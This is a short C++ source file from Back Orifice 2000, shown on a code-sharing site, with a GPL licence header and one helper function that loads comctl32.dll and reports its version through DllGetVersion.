getcomctlversion.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:2k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include <windows.h>
  16. #include <shlwapi.h>
  17. int GetComCtlVersion(LPDWORD pdwMajor, LPDWORD pdwMinor)
  18. {
  19. HINSTANCE hComCtl;
  20. DLLGETVERSIONPROC pDllGetVersion;
  21. DLLVERSIONINFO dvi;      
  22. // Check inputs
  23. if( IsBadWritePtr(pdwMajor, sizeof(DWORD)) || 
  24.         IsBadWritePtr(pdwMinor, sizeof(DWORD)))   
  25. return -1;
  26. // Load the DLL
  27. hComCtl = LoadLibrary("comctl32.dll");
  28. if(!hComCtl) return -1;
  29. // You must get this function explicitly because earlier versions of the DLL 
  30. // don't implement this function. That makes the lack of implementation of the 
  31. // function a version marker in itself. 
  32. pDllGetVersion = (DLLGETVERSIONPROC)GetProcAddress(hComCtl, TEXT("DllGetVersion"));
  33. if(!pDllGetVersion) {
  34. FreeLibrary(hComCtl);
  35. *pdwMajor = 4;
  36. *pdwMinor = 0;
  37. return 0;
  38. }
  39. ZeroMemory(&dvi, sizeof(dvi));
  40. dvi.cbSize = sizeof(dvi);   
  41. if(!SUCCEEDED((*pDllGetVersion)(&dvi)))  {
  42. FreeLibrary(hComCtl);
  43. return -1;
  44. }
  45. *pdwMajor = dvi.dwMajorVersion;
  46. *pdwMinor = dvi.dwMinorVersion;
  47. FreeLibrary(hComCtl);
  48. return 0;   
  49. }